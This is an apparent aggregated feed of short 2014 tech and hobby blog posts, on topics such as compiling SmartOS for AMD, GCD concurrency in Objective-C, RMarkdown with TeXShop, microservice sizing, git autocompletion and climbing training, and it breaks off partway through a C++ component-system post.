⭐ ⭐ ⭐ ⭐ ⭐ This book is an absolute classic! It is basically a dystopian novel where the main character (Winston Smith) lives in. It is set…

Fixing dropbox “conflicted copy” problems

The Technical Blog of James on purpleidea.com — Tue, 30 Sep 2014 04:05:07 GMT

I usually avoid proprietary cloud services because of freedom, privacy and vendor lock-in concerns. In addition, there are some excellent libre (and hosted) services such as WordPress, Wikipedia and OpenShift which don’t have the above problems. Thirdly, there are every day Free Software tools such as Fedora GNU/Linux, Libreoffice, and git-annex-assistant which make my computing much more powerful. Finally, there are some hosted services that I use that don’t lock me in because I use them as push-only mirrors, and I only interact with them using Free Software tools. The two examples are GitHub and Dropbox.

Using Google Glass at Work

Train of Thought — Tue, 30 Sep 2014 03:00:00 GMT

I was interviewed by Anne Fisher of Fortune Magazine regarding the use of Google Glass in the workplace. This is the accompanying article published by Fortune.

File Hashing: If you look close enough, even files have fingerprints

Joshua Rogers — Mon, 29 Sep 2014 15:00:00 GMT

A little while back I spent some time looking at an interesting issue with a colleage. He was trying to load a virtual machine from an .OVA but kept recieving error messages as he loaded it that the file was invalid. Somehow though, other people used the same file. This one could be fun to diagnose. To start with, the premise of our argument has a problem: it wasn't the same file but rather a copy of the file.

Three Levels of Competence

Josh Thompson — Mon, 29 Sep 2014 03:00:00 GMT

Raise your hand if you’d like to be better at climbing. Yeah. Me too.

I’ve spent an unusual amount of time working with beginners, to help them improve at climbing. I’ve also worked a lot with (what I would consider to be) intermediate climbers, so can get better. I’ve certainly watched advanced climbers do their thing, but I’m not sure how much I have to offer to them.

My quick observation about climbing, existing skill levels, and improvement is this:

At a most basic level, a climber needs to build movement skills, and needs to learn to belay. Strength is not a big part of this equation, because most “easy” climbing is not a function of strength, but technique. Fortunately, just by building this base of movement skills, the climber will get stronger.

I would expect a beginner climber to learn the basics of hip rotation, flagging/smearing, and climbing with straight arms. Everything else is icing on the cake.

As far as technical skills, a beginner should be able to top rope belay.

Once the climber has mastered the above skills, they’re a solid candidate for being an intermediate climber. Movement skills will be refined, especially as climbs take the feet farther and farther out from under the climber. (Not necessarily due to steepness, but due to large horizontal movements.) This will place more stress on the upper body, so the climber will keep getting stronger. The climber will get comfortable with side pulls, gastons, heel hooks, and all those fun things. (Including all the movements we have to do that defy categorization. The beached whale, anyone?)

Our climber will also be picking up additional technical skills. The climber will learn to lead belay and lead climb, and starts getting into the mental game that permeates this strange sport.

So far, I’ve not mentioned anything about grade. How hard does our climber need to climb to be considered intermediate?

I don’t know. I am of the opinion that if they can handle the above technical skills, they’ll find themselves climbing harder grades. I’m hesitant to put a grade on any stage for many reasons, but mostly because focusing on technique will carry us all farther than focusing on grades.

An easy example is the mythical grade of 5.12. Most people don’t think they are STRONG enough to climb 5.12, but I think most people just are not good enough at climbing to climb 5.12. The strength comes as they improve their technique. If someone just tries to get really really strong, without focusing on their technique, they’ll never get anywhere.

Phew. Brain dump. All done.

Oh yeah - that third level? That’s advanced climbers. Not sure what their defining characteristics are, but I’ll let you know when I get there. :)

This Week in Podcasts

Zac Szewczyk — Sun, 28 Sep 2014 22:05:49 GMT

At first I attributed my absence of enthusiasm in a medium that I previously enjoyed so immensely a by-product of the increased demands on my time as of late. However, upon further consideration, and after yet another week of but one entry here in a list that previously contained double-digit items, I realized the true reason behind this unfortunate change: my interests had shifted. Just as I no longer derive the same pleasure in reading about technology and writing in speculation of Apple’s next announcement, I no longer take the same pleasure in the podcasts of the same genre. Do not look at the decline of this series as a step towards its demise, then, but rather the prelude to a massive shift that — at its end — will see both this series and this website stronger than it ever was before. And so, enjoy.

Permalink.

The snails are eating again

Liza Shulyayeva — Sun, 28 Sep 2014 19:25:48 GMT

Back to the brain we go.

I already had snails eating food in jars before, but it was kind of a hack. Each snail would just eat a bite of whatever consumable item was in the jar. When I stupidly decided to try to make a simple snail brain, I knew I’d have to make things like eating fit into it. Today I made a very rough version of something like that.

Transformers: Age of Extinction

🦉 olshansky 🦁 — Sun, 28 Sep 2014 18:48:07 GMT

Olshansky's review of Transformers: Age of Extinction

Compiling SmartOS for AMD processors

Caius Theory — Sun, 28 Sep 2014 13:00:00 GMT

There’s a few community-provided patches for SmartOS that enable KVM on AMD processors amongst other things, and given the HP Microserver has an AMD processor, that’s quite useful for turning it into a better lab server. The main list of so called “eait” builds was hiccuping when I tried to download the latest, and all I could find was a 20140812T062241Z image here.

The source code for the eait builds is maintained at https://github.com/arekinath/smartos-live, and you can see the patches applied on top of the normal SmartOS master by going to https://github.com/arekinath/smartos-live/compare/joyent:master...eait.

So here’s how to use SmartOS to compile a more up to date AMD-friendly Smartos!

Grab the latest multiarch SmartOS image (which has to be used, or the compile will fail.) The latest at the time of writing was 4aec529c-55f9-11e3-868e-a37707fcbe86, so that’s what I’ll use.
```
 imgadm import 4aec529c-55f9-11e3-868e-a37707fcbe86
```

Spin up a zone for us to build in (the Building SmartOS on SmartOS page has extra info about this):

 echo '{
"alias": "platform-builder",
"brand": "joyent",
"dataset_uuid": "4aec529c-55f9-11e3-868e-a37707fcbe86",
"max_physical_memory": 32768,
"quota": 0,
"tmpfs": 8192,
"fs_allowed": "ufs,pcfs,tmpfs",
"maintain_resolvers": true,
"resolvers": [
"8.8.8.8",
"8.8.4.4"
],
"nics": [
{
"nic_tag": "admin",
"ip": "dhcp",
"primary": true
}
],
"internal_metadata": {
"root_pw": "password",
"admin_pw": "password"
}
}' | vmadm create

 zlogin <uuid from `vmadm create` output>

Update the image to the latest packages, etc:
```
 pkgin -y update && pkgin -y full-upgrade
```
Install a few images we’ll need to compile & package SmartOS:
```
 pkgin install scmgit cdrtools pbzip2
```
Grab the source code of the fork containing the patches we want, from arekinath/smartos-live
```
 git clone https://github.com/arekinath/smartos-live
cd smartos-live
```
Optional: Edit src/Makefile.defs and change PARALLEL = -j$(MAX_JOBS) to PARALLEL = -j8 to do less at once. (Microserver only has a dual core CPU!)
Copy the configure definition into the right place and start configuration:
```
 cp {sample.,}configure.smartos
./configure
```
(You’ll probably get asked to accept the java license during configuration, so keep half an eye on it)
Once configure has completed (which doesn’t take too long, 15 minutes or so), start building:
```
 gmake world && gmake live
```
Once the build is successfully finished, time to package an iso & usb image:
```
export LC_ALL=C
tools/build_iso
tools/build_usb
```

Hey presto, you’ve a freshly built AMD-friendly SmartOS build to flash to a USB key / put on your netboot server and boot your Microserver from!

References

Concurrency: Working with shared data using queues

Whacky Labs — Sat, 27 Sep 2014 20:58:54 GMT

Concurrency: Working with shared data using queues

All problems with concurrency basically boil down to two categories: Race conditions and deadlocks. Today let’s look into one specific problem under race conditions: Working with shared data.

If every thread had to deal with the only data provided exclusively to it, we won’t ever get into any sort of data race problems. In fact, this is one of the main features of functional programming languages like Haskell that advertises heavily about concurrency and parallelism.

But there’s nothing to be worried about, functional programming is more about adopting a design pattern, just as object oriented programming is. Yes, some programming languages offer more towards a particular pattern, but that doesn’t means that we can not adopt that pattern in any other language. We just have to restrict ourselves to a particular convention. For example, there are a plenty or large softwares written with C programming language adopting the object oriented pattern. And for us, both C++ and Swift are very much capable of adopting the functional programming paradigm.

Getting back to the problem of shared data. Let’s look into when is shared data a problem with multiple threads. Suppose we have an application where two or more threads are working on a shared data. If all each threads ever does is a read activity, we won’t have any data race problem. For example, you’re at the airport and checking out your flight status on the giant screen. And, you’re not the only one looking at the status screen. But, does it really matters how many others are reading the information from the same screen? Now suppose the scenario is a little more realistic. Every airliner has a control with which they can update the screen with new information, while a passenger is reading the screen, the situation can get a little difficult. At any given instance, one or more airliner can be updating the screen at same instance, which could result in some garbled text to the passengers reading the screen. The two or airliners are actually in a race condition for a single resource, the screen.

If you’re using Cocoa, you must be familiar with the NSMutableArray. Also, you must be familiar that NSMutableArray isn’t thread-safe as of this writing. So, the question is how do make use of NSMutableArray in a situation like this, where we have concurrent read and write operations going on?

Let’s start with a simple single threaded model of what we’re doing:

/**
 * Concurreny Experiments: Shared data
 * Compile: clang SharedData.m -framework Foundation && ./a.out
 */

#import <Foundation/Foundation.h>

@interface Airport : NSObject {
    NSMutableArray *airportStatusBoard;
    NSUInteger writeCount;
    NSUInteger readCount;
}
@end

@implementation Airport

- (id)init
{
    self = [super init];
    if (!self) {
        return nil;
    }
    
    airportStatusBoard = [[NSMutableArray alloc] init];
    writeCount = 0;
    readCount = 0;
    
    return self;
}

- (void)dealloc
{
    [airportStatusBoard release];
    [super dealloc];
}

- (void)addFlightEntry
{
    NSNumber *newEntry = @(random() % 10);
    [airportStatusBoard addObject:newEntry];
}

- (void) statusWriter
{
    NSLog(@"writing begin: %@", @(writeCount));
    [self addFlightEntry];
    NSLog(@"writing ends: %@", @(writeCount));
    writeCount++;
}

- (BOOL) statusReaderWithFlightNumber:(NSNumber *)searchFlightNum
{
    NSLog(@"reading begin: %@", @(readCount));
    
    BOOL found = NO;
    for (NSNumber *flightNum in airportStatusBoard) {
        if ([flightNum isEqualToNumber:searchFlightNum]) {
            found = YES;
            break;
        }
    }
    
    NSLog(@"reading ends: %@", @(readCount));
    
    readCount++;
    
    return found;
}

- (void) serialLoop
{
    srandom(time(0));
    while (![self statusReaderWithFlightNumber:@(7)]) {
        [self statusWriter];
    }
    
    NSLog(@"Flight found after %@ writes and %@ reads", @(writeCount), @(readCount));
}

@end

int main()
{
    @autoreleasepool {
        Airport *airport = [[Airport alloc] init];
        [airport serialLoop];
    }
    
    return 0;
}

Here’s the output for the above program on my machine:

2014-09-27 14:32:12.636 a.out[9601:507] reading begin: 0
2014-09-27 14:32:12.638 a.out[9601:507] reading ends: 0
2014-09-27 14:32:12.639 a.out[9601:507] writing begin: 0
2014-09-27 14:32:12.639 a.out[9601:507] writing ends: 0
2014-09-27 14:32:12.640 a.out[9601:507] reading begin: 1
2014-09-27 14:32:12.640 a.out[9601:507] reading ends: 1
2014-09-27 14:32:12.641 a.out[9601:507] writing begin: 1
2014-09-27 14:32:12.641 a.out[9601:507] writing ends: 1
2014-09-27 14:32:12.642 a.out[9601:507] reading begin: 2
2014-09-27 14:32:12.642 a.out[9601:507] reading ends: 2
2014-09-27 14:32:12.643 a.out[9601:507] Flight found after 2 writes and 3 reads

As you can observe, we’re performing sequential writes and reads until we find the required flight number in the array, and everything works out great. But, if we now try to run each write and read concurrently. To do that we create a queue for reading and writing. We perform all the reading and writing operation on a concurrent queue. We’re trying to implement the scenario where one passenger (you) is interested in reading the status board from top to bottom and check if their flight is listed. When they reach the end of the list and did not find the flight number they start again from the top. While, many airliner services are trying to update the single status board concurrently.

readWriteQueue = dispatch_queue_create("com.whackylabs.concurrency.readWriteQ", DISPATCH_QUEUE_CONCURRENT);

- (void)parallelLoop
{
    srandom(time(0));

    __block BOOL done = NO;
    while(!done) {
        
        /* perform a write op */
        dispatch_async(readWriteQueue, ^{
            [self statusWriter];
        });
        
        /* perform a read op */
        dispatch_async(readWriteQueue, ^{
            if ([self statusReaderWithFlightNumber:@(SEARCH_FLIGHT)]) {
                done = YES;
            }
        });
    }
    
    NSLog(@"Flight found after %@ writes and %@ reads", @(writeCount), @(readCount));
}

If you now try to execute this program, once in a while you might get the following error:

Terminating app due to uncaught exception 'NSGenericException', reason: '*** Collection <__NSArrayM: 0x7f8f88c0a5d0> was mutated while being enumerated.'

This is the tricky part about debugging race conditions, most of the time your application might to be working perfectly, unless you deploy it on some other hardware or you get unlucky, you won’t get the issues. One thing you can play around with is, deliberately sleeping a thread to cause race conditions with sprinkling thread sleep code around for debugging:

- (void) statusWriter
{
    [NSThread sleepForTimeInterval:0.1];
    writeCount++;
    NSLog(@"writing begin: %@", @(writeCount));        
    [self addFlightEntry];
    NSLog(@"writing ends: %@", @(writeCount));
}

If the above code doesn’t crashes on your machine on the first go, edit the sleep interval and/or give it a few more runs.

Now coming to the solution of such a race condition. The solution to such problem is in two parts. First is the write part. When multiple threads are trying to update the shared data, we need a way to lock the part where the actual update happens. It’s something like when multiple airliners are trying to update the single screen, we can figure out a situation like, only one airliner has the controls required to update the screen, and when it’s done, it releases the control to be acquired by any other airliner in queue.

Second, is the read part. We need to make sure that when we’re performing a read operation some other thread isn’t mutating the shared data as NSEnumerator isn’t thread-safe either.

A way to acquire such a lock with GCD is to use dispatch_barrier()

- (void) statusWriter
{
    dispatch_barrier_async(readWriteQueue, ^{
        
        [NSThread sleepForTimeInterval:0.1];
        
        NSLog(@"writing begin: %@", @(writeCount));
        
        [self addFlightEntry];
        
        NSLog(@"writing ends: %@", @(writeCount));
        writeCount++;
        
    });
}

- (BOOL) statusReaderWithFlightNumber:(NSNumber *)searchFlightNum
{
   __block BOOL found = NO;
    
    dispatch_barrier_async(readWriteQueue, ^{
        
        NSLog(@"reading begin: %@", @(readCount));
        
        for (NSNumber *flightNum in airportStatusBoard) {
            if ([flightNum isEqualToNumber:searchFlightNum]) {
                found = YES;
                break;
            }
        }
        
        NSLog(@"reading ends: %@", @(readCount));
        
        readCount++;
        
    });
    
    return found;
}

If you try to run this code now, you’ll observe that the app doesn’t crash anymore, but the app has become significantly slower.

The first performance improvement that we can make is to not return from the read code immediately. Instead, we can let the queue handle the completion:

- (void) statusReaderWithFlightNumber:(NSNumber *)searchFlightNum completionHandler:(void(^)(BOOL success))completion
{
    
    dispatch_barrier_async(readWriteQueue, ^{
        
        NSLog(@"reading begin: %@", @(readCount));
        
        BOOL found = NO;
        
        for (NSNumber *flightNum in airportStatusBoard) {
            if ([flightNum isEqualToNumber:searchFlightNum]) {
                found = YES;
                break;
            }
        }
        
        NSLog(@"reading ends: %@", @(readCount));
        
        readCount++;
       
        completion(found);
    });
}

- (void)parallelLoop
{
    srandom(time(0));
    
    __block BOOL done = NO;
    while(!done) {
        
        /* perform a write op */
        dispatch_async(readWriteQueue, ^{
            [self statusWriter];
        });
        
        /* perform a read op */
        dispatch_async(readWriteQueue, ^{
            [self statusReaderWithFlightNumber:@(SEARCH_FLIGHT) completionHandler:^(BOOL success) {
                done = success;
            }];
        });
    }
    
    NSLog(@"Flight found after %@ writes and %@ reads", @(writeCount), @(readCount));
}

Another thing to note is that, our code is no longer executing in parallel. As each dispatch_barrier() blocks the queue until all the pending tasks in the queue are complete. As is evident from the final log.

Flight found after 154 writes and 154 reads In fact, the processing could be even worse than just running it sequentially, as the queue has to take care of the locking and unlocking overhead.

We can make the read operation as non-blocking again, as blocking the reads is not getting us any profit. One way to achieve that is to copy the latest data within a barrier and then use the copy to read the data while the other threads update the data.

- (BOOL) statusReaderWithFlightNumber:(NSNumber *)searchFlightNum
{
    
    NSLog(@"reading begin: %@", @(readCount));
    
    __block NSArray *airportStatusBoardCopy = nil;
    dispatch_barrier_async(readWriteQueue, ^{
        
        airportStatusBoardCopy = [airportStatusBoard copy];
        
    });
    
    
    BOOL found = NO;
    
    for (NSNumber *flightNum in airportStatusBoardCopy) {
        if ([flightNum isEqualToNumber:searchFlightNum]) {
            found = YES;
            break;
        }
    }

    if (airportStatusBoardCopy) {
        [airportStatusBoardCopy release];
    }
    
    NSLog(@"reading ends: %@", @(readCount));
    
    readCount++;
    
    return found;
}

But, this won’t solve the problem. Most of reads are probably a waste of time. What we actually need is a way to communicate between the write and read. The actual read should only happen after the data has been modified with some new write.

We can start by separating the read and write tasks. We actually need the read operations to be serial, as we are implementing the case where a passenger is reading the list top-down and when they reach at the end, they start reading from the beginning. Whereas, many airliners can simultaneously edit the screen, so they still need to be in a concurrent queue.

readQueue = dispatch_queue_create("com.whackylabs.concurrency.readQ", DISPATCH_QUEUE_SERIAL);
writeQueue = dispatch_queue_create("com.whackylabs.concurrency.writeQ", DISPATCH_QUEUE_CONCURRENT);

- (void)parallelLoop
{
    srandom(time(0));
    
    __block BOOL done = NO;
    while(!done) {
        
        /* perform a write op */
        dispatch_async(writeQueue, ^{
            [self statusWriter];
        });
        
        /* perform a read op */
        dispatch_async(readQueue, ^{
            [self statusReaderWithFlightNumber:@(SEARCH_FLIGHT) completionHandler:^(BOOL success) {
                done = success;
            }];
        });
    }
    
    NSLog(@"Flight found after %@ writes and %@ reads", @(writeCount), @(readCount));
}

Now, in the read operation we take a copy of the shared data. The way we can do it is by having an atomic property. Atomicity guarantees that the data is either have be successful or unsuccessful, there won’t be any in-betweens. So, in all cases we shall have a valid data all the time.

@property (atomic, copy) NSArray *airportStatusBoardCopy;

In each read operation, we simply copy the shared data, so don’t care about mutability anymore.

self.airportStatusBoardCopy = airportStatusBoard;

And further on we can use the copy to execute the read operations.

2014-09-27 16:20:33.145 a.out[12855:507] Flight found after 11 writes and 457571 reads

This is the queue level solution of the problem. In our next update we will take a look at how we can solve the problem at thread level using C++ standard thread library.

As always, the code for today’s experiment is available online at the github.com/chunkyguy/ConcurrencyExperiments.

Posted in concurrency, _dev

Tagged C, Concurrency, Experiment, Swift

0 Comments

Shaders: How Do They Work?

Evan Todd — Sat, 27 Sep 2014 17:32:21 GMT

Yesterday I gave a talk at Dev Workshop Conf introducing the basic concepts of vertex and fragment shaders. Unfortunately I don't have a video, just this one potato picture:

It's probably for the best, because Chrome locked up on me halfway through. The slide deck is pretty cool though. It includes over 20 interactive WebGL samples, complete with source code. Check it out and let me know what you think!

On people offended when asked not to use Facebook, and who will die first

Welcome to Marco Fioretti's website! on Stop at Zona-M — Sat, 27 Sep 2014 07:10:00 GMT

In December 2013 I came across something I still consider yet another proof of two things: first, much trust in the actual competence of many “digital savvy” Internet users is misplaced; second, many of the proposed alternatives to current social networks are trying to solve the wrong problem.

Don't Focus on the Present

Josh Thompson — Sat, 27 Sep 2014 03:00:00 GMT

If you accept the premise that training cycles are the method by which you will improve your climbing, you should be able to focus less on the day-by-day fluctuation in your performance. At least, I should be able to, since I accept that premise. Yet I still struggle to not be moderately disappointed if I don’t perform as I hope. The antidote is thus:

Build a plan. Evaluate success on how hard that plan pushes you, while still being possible. Then follow that plan.

I missed the mark in a recent session because I couldn’t put together a plan that was challenging and possible. One or the other was easy, but I couldn’t get both.

My goal was a ten-move sequence on a systems board that was very challenging, but could be barely be done repeatedly with 60 seconds of rest between attempts.

Next time.

Bi-temporal Data Model

Craig Pardey — Sat, 27 Sep 2014 03:00:00 GMT

A bi-temporal data model is a fancy way of saying that all tables have 2 pairs of dates: business from/to, and audit from/to. The business dates track expected day-over-day changes in business data such as the varying quantities of widgets in stock. The audit dates are used to track when the data was loaded into the database, and any data fixes applied by IT.

In essence, every table contains the current record as well as the full log of all the changes that were ever made to that record.

Websocketing it up for snail movement

Liza Shulyayeva — Sat, 27 Sep 2014 01:29:19 GMT

Over the past few days I’ve paused work on the brain to tackle snail movement on the client.

I ended up using Latchet, a Laravel-specific extended version of Ratchet. To start with I just wanted to get something running. I think I ended up doing this in a really roundabout way…basically we subscribe to a specific jar topic on the client, then ping the server every 5 seconds to get back the target position of each snail within that jar. The snail then crawls toward this target position. Target pos on the server is calculated using the snail’s currentSpeed and each snail crawls at the same speed in the browser, so in theory by the time the snail reaches its target position on the server it will also have reached the same location on the client…maybe…I hope. We’ll see.

The Silmarillion

Apurva Shukla's RSS Feed — Fri, 26 Sep 2014 13:13:49 GMT

⭐ ⭐ ⭐ ⭐ This book was a just a breeze to go through, I sat and read for hours on end because the book captivated me so much, the history of…

Mendel Epstein and the Orthodox Hit Squad

Zac Szewczyk — Fri, 26 Sep 2014 11:24:08 GMT

Incredible to think that today, in our modern society, things like this still happen. Not only do these sorts of things happen though, but they fly under the radar as well. Harrowing, to say the least.

Permalink.

Using RMarkdown, knitr, and pandoc in TexShop on Mac

Jonathan Chang — Fri, 26 Sep 2014 10:18:36 GMT

Most people will use RStudio for this sort of workflow, but I use TeXShop because I prefer the side-by-side editing view with plain text on the left and the formatted version on the right. I don’t think RStudio supports it. Also, TeXShop feels like a native OS X application. RStudio can’t really shed its Qt roots no matter how hard it tries.

Here’s how to get TexShop working with your RMarkdown workflow.

I assume you’ve already installed pandoc and MacTeX. If you don’t already have RMarkdown installed, load up an R session:

      install.packages("devtools")
devtools::install_github("rstudio/rmarkdown", dependencies=TRUE)

First, you’ll need to add a custom RMarkdown engine for TexShop. These are located in ~/Library/TeXShop/Engines and are simple executable script files with the extension .engine. Let’s add an rmarkdown engine. Open up the Terminal:

      vim ~/Library/TeXShop/Engines/rmarkdown.engine        # or nano, etc.
chmod a+x ~/Library/TeXShop/Engines/rmarkdown.engine

Inside that rmarkdown.engine file you can just paste in these contents:

#!/bin/bash
Rscript -e “rmarkdown::render("$1", encoding=‘UTF-8’)”

TeXShop will pass in the name of your Rmarkdown file as the first argument to your script, so you can pass it to R inside the variable $1. Note that you might have to change the encoding argument to rmarkdown::render if you have TeXShop saving files in something other than UTF8. It’s important to get this right, otherwise non-ASCII characters will cause random paragraphs to turn into NAs. (Fixing this bug is Someone Else’s Problem because the workaround is adequate and there are only so many hours in the day.)

Finally you need to get TeXShop to recognize .Rmd files. By default TeXShop will refuse to let you “typeset” files with extensions that it doesn’t recognize. Though TeXShop does support plain .md files, the RMarkdown package will not knit these and will bypass any R code found in plain Markdown files. So you must write with the .Rmd extension. Fortunately there’s a hidden preference that you can tweak. Simply open Terminal and type:

    defaults write TeXShop OtherTeXExtensions -array-add "Rmd"
defaults write TeXShop OtherTeXExtensions -array-add "rmd"

Now when you open .Rmd files, simply select the “rmarkdown” engine from the drop down list in the toolbar and type away.

Other hidden preferences can be found in TeXShop’s extensive help files. I actually started grepping the source code to hack in this functionality until I figured out that the documentation for TeXShop was actually quite good. I’ve been spoiled by scientific software for too long.

2014-09-26

ho.dges.online — Fri, 26 Sep 2014 03:00:00 GMT

Autumn Run

Microservices

Separate Concerns — Fri, 26 Sep 2014 00:00:00 GMT

Several people have asked me what I think about microservices. The tl;dr is: I like small services, but I don’t like what some call microservices, which is isolating every single feature within its own service and aiming at services at small as possible (I heard about a target of “a few hundred lines of code” per service and a hard limit at 5000 LOC).

I see SOA (and modularization in general) as a technique to design a system so that it scales with the number of people on a team. The way it works is by dividing complexity between people. The following will be terribly simplified, but bear with me.

Imagine a team working on a monolithic application. It is becoming too large and complicated to understand, so they split it into three parts, A, B and C. A third of the team will be responsible for each part. Each team is tasked with exposing an interface to the others, so that team A only has to worry about the internals of A and the interfaces of B and C. For each team, complexity has gone from the complexity of the monolithic application to a third of that complexity plus the complexity of communicating with the other parts of the system, or at least just knowing they exist, so given N the number of parts in the system and M the total complexity of the system, complexity seen from a service is: M/N + k*N.

Now assuming the complexity of the system increases linearly with team size S (it probably increases faster in practice but let’s approximate), complexity seen from a service is l*S/N + k*N. With everything else constant, the function N(S) to minimize that looks like a square root.

In practice, this is not entirely true: as the system grows, not every service talks to other services and not every developer needs to know about every service. But because system architects and, more importantly, operations people do, my argument still holds.

So here is my point: the number of services you have should look like a constant times the square root of the size of your team. Meaning, with a constant of three:

This is the problem I have with the idea to bound the size of single services while ignoring the complexity of inter-service communication. SOA is a practice which can help you curb local complexity as you scale but there is no way it can make it constant without making a mess of the whole system.

That being said, the value of the constant can be discussed. Some people think it should be lower than one, others think it should be very large.

I am not a huge fan of small constants when they result in services that do too many things and require too many people. They end up looking like a few monoliths, with the same issues as a single monolith. Moreover, if you are going to do services, inter-service calls should be the norm and not an exception. Very large constants, on the other hand, result in too much accidental complexity, harder debugging and operational nightmares.

I guess mileages vary but I like numbers around three. If you look at the curve above you may (or may not) agree that it looks reasonable; I think it does.

Note that the title of this blog is still “Separate Concerns”: you should still draw clear lines between services, and you should still modularize as much as possible within services. But not every function call needs to be turned into a message sent over a network, and not every data structure needs its own process and source control repository.

And finally, just to be clear: do not look too much at the left part of the curve if you are a very early stage startup looking for product-market fit. You can still - and probably should - start with a monolith as long as you choose an architecture or framework with good modularization capabilities (like Flask Blueprints). Only consider SOA when you start to have a good rough idea of what the product will look like.

MVC Architecture

Daniel Little Dev — Thu, 25 Sep 2014 12:40:14 GMT

The typical scaffolding tool and sample applications for MVC web apps are usually based on simple CRUD like systems. They'll, usually, have…

Git checkout - autocomplete local branches only

Carey Metcalfe — Thu, 25 Sep 2014 06:05:00 GMT

Having Git autocomplete branch names when doing a checkout is super useful. Having the autocomplete hang for 30 seconds because it has to look up all 3000 of the remote branches in a massive repo is not so useful. It's actually pretty frustrating.

My solution: changing the git checkout autocomplete to only look at local branches, while using a git checkoutr alias to preserve the original behaviour (because sometimes it's actually needed).

How it's done:

Define an alias for checkout

We're going to use the same checkout command for the remote checkout, but need to have a different command so the script can differentiate between them. Making an alias does exactly this.

Create the alias by running git config --global alias.checkoutr checkout

Change the autocompletion function

The checkout autocomplete behaviour is defined in a function called _git_checkout in the git autocompletion file. We're going to override the function with our own version that has different autocomplete logic in it.

The location of the file varies over different operating systems and configurations, but here are a few spots to look:

/etc/bash_completion.d/git
/usr/share/bash-completion/completions/git

For a brew-installed git autocomplete on macOS, the file will probably be $(brew --prefix)/etc/bash_completion.d/git-completion.bash

Once you've found the file, copy the entire _git_checkout function into your .bashrc (or equivalent non-login shell startup script). Now look for the line

__git_complete_refs $track_opt

We're going to replace that line with:

if [ "$command" = "checkoutr" ]; then
    __git_complete_refs $track_opt
else
    __gitcomp_direct "$(__git_heads "" "$cur" " ")"
fi

After saving and re-sourcing your .bashrc file, git will autocomplete local branches and tags when using git checkout, but will go back to the default behaviour of autocompleting all references when using git checkoutr.

Credits to a combination of answers on this StackOverflow post.

EDIT 2017-10-02: Updated to work with git v2.13.0 thanks to Alexander Ko's comment.
EDIT 2018-03-24: Updated to speed up branch and tag completion.

Death by Idiotic Purchases

Zac Szewczyk — Wed, 24 Sep 2014 12:23:13 GMT

I happened across Expedition Portal the other day after the same tangent led me to Triple Aught Design. Already more than an hour down this rabbit hole of outdoor expeditions and the gear enthusiasts use on such trips, I started clicking — and clicking, and then I clicked some more until I had filled my entire Safari tab bar. And then, I began reading this humorous article by Mathew Scott from March of last year: Death by Idiotic Purchases. If the only thing you, like me, love more than actually spending time outdoors is buying the gear to make that experience more enjoyable, and you’re looking for a laugh, this is a great place to start.

Permalink.

Injury Impedes Improvement

Josh Thompson — Wed, 24 Sep 2014 03:00:00 GMT

Kristi and I have been in Colorado for three months, I’ve been climbing regularly for two, I am back in shape and it feels good.

I am tempted to throw myself into climbing again. To climb every day, or maybe every other day, and finish every session with training. But here’s the thing… I want to take the “long view” of climbing. I want to be climbing way harder in ten years than I am right now. I have every reason to think that this is totally possible, as long as I stay injury-free.

Injury Impedes Improvement

The biggest barrier to continual improvement is injury. We all actively avoid injury, but other than trying to not hit the ground too hard, I’ve never been systematic in this pursuit.

In taking the “long view”, I’m trying to think more in training cycles rather than just training.

Previously, I would climb every other day, or sometimes every day, and try to work hard (and haphazard) training into every session. I’d spend time on the campus boards until I felt elbow tendonitis creeping in. Next, I’d spend a few weeks on the finger board, and then back to campusing, and I’d always just move to the next thing when I had pain in one area of my body or another.

This method of training is a great way to get full-blown elbow tendonitis, or damage a tendon, or pull a muscle. Assuming we are all humans, we could get injured in two ways:

Overuse injury . Your shoulders, fingers, and especially elbows seem sensitive to tendonitis. We’ve all felt the onset of elbow tendonitis (some more often than others).
Too strong injury . As humans, we are quite adaptive to our environment. This adaptivity is usually great (Thanks, great great great great grandpa for living long enough to have some kids!) but if our muscles get stronger faster than our tendons get stronger, we expose our tendons to unsafe forces. (Our muscles have a lot of blood flow. Tendons have almost none. That should tell you that one can develop faster than the other.)

Cycles are your Friend

If your muscles can grow strong faster than your tendons, this allows you to plot out what your improvement could look like. Rather than being a smooth up-and-to-the-right line, your strength should look more like stair steps. Get stronger in a short period of time, and then remain at that level for a period of time, to give your body time to catch up. If you skip this “waiting” period”, you’ll just outpace your tendon’s capabilities by a larger and larger margin. Inevitably, you’ll be psyched on some move you can do that you couldn’t do before, give it 100% effort, and POP, something’s strained, at best, or, at worst, ruptured/torn.

I don’t want to do this. So I’m thinking a lot about what these cycles will look like. More to come.

Post-climb snack with Alex King at Eldo.

Component System using C++ Multiple Inheritance

Whacky Labs — Tue, 23 Sep 2014 20:58:54 GMT

Few days back, I talked about designing Component System using Objective-C and message forwarding. Today, to carry the conversation forward, we shall see how can the same Component System be designed with C++, and also why C++ is a better language choice for such a design.

Before I begin, let’s copy-paste the abstract from our earlier post, on why and when do we actually need a Component System:

I wanted a component system where I’ve a GameObject that can have one or more components plugged in. To illustrate the main problems with the traditional Actor based model lets assume we’re developing a platformer game. We have these three Actor types:

Ninja: A ninja is an actor that a user can control with external inputs.
Background: Background is something like a static image.
HiddenBonus: Hidden bonus is a invisible actor that a ninja can hit.

Source: Swim Ninja Source: Swim Ninja Let’s take a look at all the components inside these actors.

Ninja = RenderComponent + PhysicsComponent Background = RenderComponent HiddenBonus = PhysicsComponent.

Here RenderComponent is responsible for just drawing some content on the screen. while the PhysicsComponent is responsible for just doing physics updates like, collision detection.

So, in a nutshell from our game loop we need to call things like

void Scene::Update(const int dt)
{
    ninja.Update(dt);
    hiddenBonus.Update(dt);
}
 
void Scene::Render()
{
    background.Render();
    ninja.Render();
}

Now, in the traditional Actor model, if we have an Actor class with both RenderComponent and PhysicsComponent like:

class Actor {
public:
    void Update(const int dt);
    void Render();
};

    Actor ninja;
    Actor hiddenBonus;
    Actor background;

Then it would inevitably add a PhysicsComponent to background actor and a RenderComponent to a hiddenBonus actor. So, the user of the code has to keep a mental track of what functions shouldn’t be invoked on what objects. Which is as awful in reality, as it sounds in theory.

We could use the same approach we used when designing the Component System with Objective-C, by having a function on fat GameObject that could be used to enable a particular component. Think of each GameObject as an collection of many components. Where each component know how to deal with one thing, like rendering, physics, AI, networking, and so on. When creating a new GameObject we need a method to specify what components should be enabled for it. The fat interface technique we’ve already discussed in that last experiment. Let’s try something new, we’re using C++ after all. Let’s start with breaking the components as separate classes:

class RenderComponent {
public:
    void Render();
};

class PhysicsComponent {
public:
    void Update(const int dt);
};

Then we can easily create composite components using such core components, such as:

class RenderAndPhysicsComponent : public RenderComponent, public PhysicsComponent
{};

Now, we can update our game scene’s interface as:

